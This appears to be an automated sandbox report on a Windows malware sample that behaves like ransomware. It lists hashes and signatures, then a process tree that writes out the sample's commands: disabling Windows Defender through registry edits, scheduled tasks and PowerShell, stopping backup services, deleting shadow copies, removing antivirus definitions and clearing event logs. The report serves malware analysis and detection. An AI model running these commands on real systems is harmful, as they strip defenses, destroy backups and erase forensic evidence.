Analysis

  • max time kernel
    50s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    10-01-2022 16:44

General

  • Target

    213bb679f8499e9da5ecd1d9f76306485227c282a20547576828b015a08985bc.bin.sample.exe

  • Size

    2.5MB

  • MD5

    581d017db261422b60eed963c7823566

  • SHA1

    6f35892e195de2c569c415a245a3302056bbfa08

  • SHA256

    213bb679f8499e9da5ecd1d9f76306485227c282a20547576828b015a08985bc

  • SHA512

    c6142d6478d9a02d0269d3121143a64cb7e0a41d35e7924c9ecf7ced739133d847c4aafb9b851e2a9321a054ba3b9c40f00d8e430ad5d19af271ea28fab214f1

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\213bb679f8499e9da5ecd1d9f76306485227c282a20547576828b015a08985bc.bin.sample.exe
    "C:\Users\Admin\AppData\Local\Temp\213bb679f8499e9da5ecd1d9f76306485227c282a20547576828b015a08985bc.bin.sample.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:908
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:980
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:540
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:684
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3184
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3680
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:3576
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3636
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:2924
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2764
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1408
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2596
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1256
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3548
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2220
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_12e21" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:716
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_12e21" /y
                        3⤵
                          PID:1440
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:988
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1296
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1476
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1732
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:4076
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:2056
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:2508
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2864
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc.exe config "UnistoreSvc_12e21" start= disabled
                                        2⤵
                                          PID:3392
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:1380
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:2460
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:3248
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1504
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:2372
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1456
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:3168
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:928
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1104
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:540
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:4036
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:3708
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:3912
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:3456
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:612
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:1068
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:516
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:1244
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:1488
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:2428
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:2516
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:1680
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:1808
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:2296
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3088
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3252
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1384
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:2148
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:3836
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:2216
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:3820
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:388
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:980
                                                                                                  • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:3500
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2716
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3164
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1616
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1764
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3104
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:2116
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:1852
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:2424
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:3564
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:1588
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:752

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                        SHA1

                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                        SHA256

                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                        SHA512

                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        fb44fe9383f6343a0156b34f4330ea68

                                                                                                        SHA1

                                                                                                        d8d431b400c96d4875538ddd005249827d285dd6

                                                                                                        SHA256

                                                                                                        e5e1663f8030537f920c75460631d7bbfc70c5ecbfc91a711e2a8756bcc1cf2e

                                                                                                        SHA512

                                                                                                        e80ea3407953d5a25c513018b98593225b0e3e78b19d586d81d7e24ec16c95b79b46261e035083f4db8b7409760d87a8ba268b96add55098fa82a5624f9964a5

                                                                                                      • memory/388-173-0x0000000000000000-mapping.dmp

                                                                                                      • memory/516-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/540-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/540-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/612-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/684-119-0x0000000000000000-mapping.dmp

                                                                                                      • memory/716-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/752-440-0x0000000007740000-0x0000000007A90000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/752-443-0x0000000007B70000-0x0000000007BBB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/752-435-0x00000000068B0000-0x00000000068B1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/752-436-0x00000000068B2000-0x00000000068B3000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/752-437-0x0000000006C10000-0x0000000006C32000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/752-467-0x0000000008F60000-0x0000000009005000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/752-438-0x0000000006DB0000-0x0000000006E16000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/752-537-0x00000000068B3000-0x00000000068B4000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/752-439-0x0000000006E20000-0x0000000006E86000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/752-456-0x0000000008F20000-0x0000000008F53000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/752-458-0x0000000006DB0000-0x0000000006E16000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/752-662-0x00000000091E0000-0x00000000091FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/752-667-0x00000000091E0000-0x00000000091FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/752-462-0x0000000008EE0000-0x0000000008EFE000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/752-442-0x0000000007B30000-0x0000000007B4C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/752-468-0x0000000009260000-0x00000000092F4000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/752-461-0x0000000007E20000-0x0000000007E96000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/752-460-0x0000000007B70000-0x0000000007BBB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/752-444-0x0000000007E20000-0x0000000007E96000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/752-453-0x0000000006EF0000-0x0000000007518000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/752-459-0x0000000006E20000-0x0000000006E86000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/752-668-0x00000000091C0000-0x00000000091C8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/752-673-0x00000000091C0000-0x00000000091C8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/752-454-0x0000000008F20000-0x0000000008F53000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/752-457-0x0000000006C10000-0x0000000006C32000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/752-434-0x0000000006EF0000-0x0000000007518000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/752-455-0x000000007F040000-0x000000007F041000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/752-433-0x00000000042C0000-0x00000000042F6000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/908-115-0x0000000000000000-mapping.dmp

                                                                                                      • memory/928-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/980-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/980-116-0x0000000000000000-mapping.dmp

                                                                                                      • memory/988-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1068-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1104-150-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1244-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1256-128-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1296-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1380-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1384-168-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1408-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1440-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1456-147-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1476-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1488-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1504-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1616-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1680-163-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1732-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1808-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2056-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2148-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2216-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2220-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2292-117-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2296-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2372-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2428-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2460-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2508-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2516-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2596-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2716-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2764-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2864-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2924-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3088-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3164-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3168-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3184-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3248-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3252-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3392-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3456-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3500-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3548-129-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3564-183-0x0000000006EB0000-0x0000000006EB1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-206-0x00000000080D0000-0x000000000811B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3564-213-0x0000000009550000-0x00000000095F5000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/3564-214-0x000000007E0C0000-0x000000007E0C1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-215-0x0000000009770000-0x0000000009804000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/3564-282-0x0000000006EB3000-0x0000000006EB4000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-409-0x00000000096D0000-0x00000000096EA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3564-414-0x00000000096D0000-0x00000000096EA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3564-415-0x00000000084D0000-0x00000000084D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3564-420-0x00000000084D0000-0x00000000084D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3564-186-0x0000000007360000-0x00000000073C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3564-185-0x00000000071C0000-0x00000000071E2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3564-184-0x0000000006EB2000-0x0000000006EB3000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-187-0x00000000073D0000-0x0000000007436000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3564-182-0x00000000074F0000-0x0000000007B18000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3564-181-0x0000000004850000-0x0000000004886000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/3564-179-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-180-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-207-0x00000000083A0000-0x0000000008416000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3564-208-0x00000000091F0000-0x000000000920E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/3564-188-0x0000000007D00000-0x0000000008050000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/3564-189-0x00000000074B0000-0x00000000074CC000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/3564-205-0x00000000073D0000-0x0000000007436000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3564-204-0x0000000007360000-0x00000000073C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3564-203-0x00000000071C0000-0x00000000071E2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3564-190-0x00000000080D0000-0x000000000811B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3564-191-0x00000000083A0000-0x0000000008416000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3564-192-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3564-202-0x0000000009410000-0x0000000009443000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3564-201-0x0000000009410000-0x0000000009443000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3564-200-0x00000000074F0000-0x0000000007B18000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3576-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3636-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3680-121-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3708-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3820-172-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3836-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3912-154-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4036-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4076-137-0x0000000000000000-mapping.dmp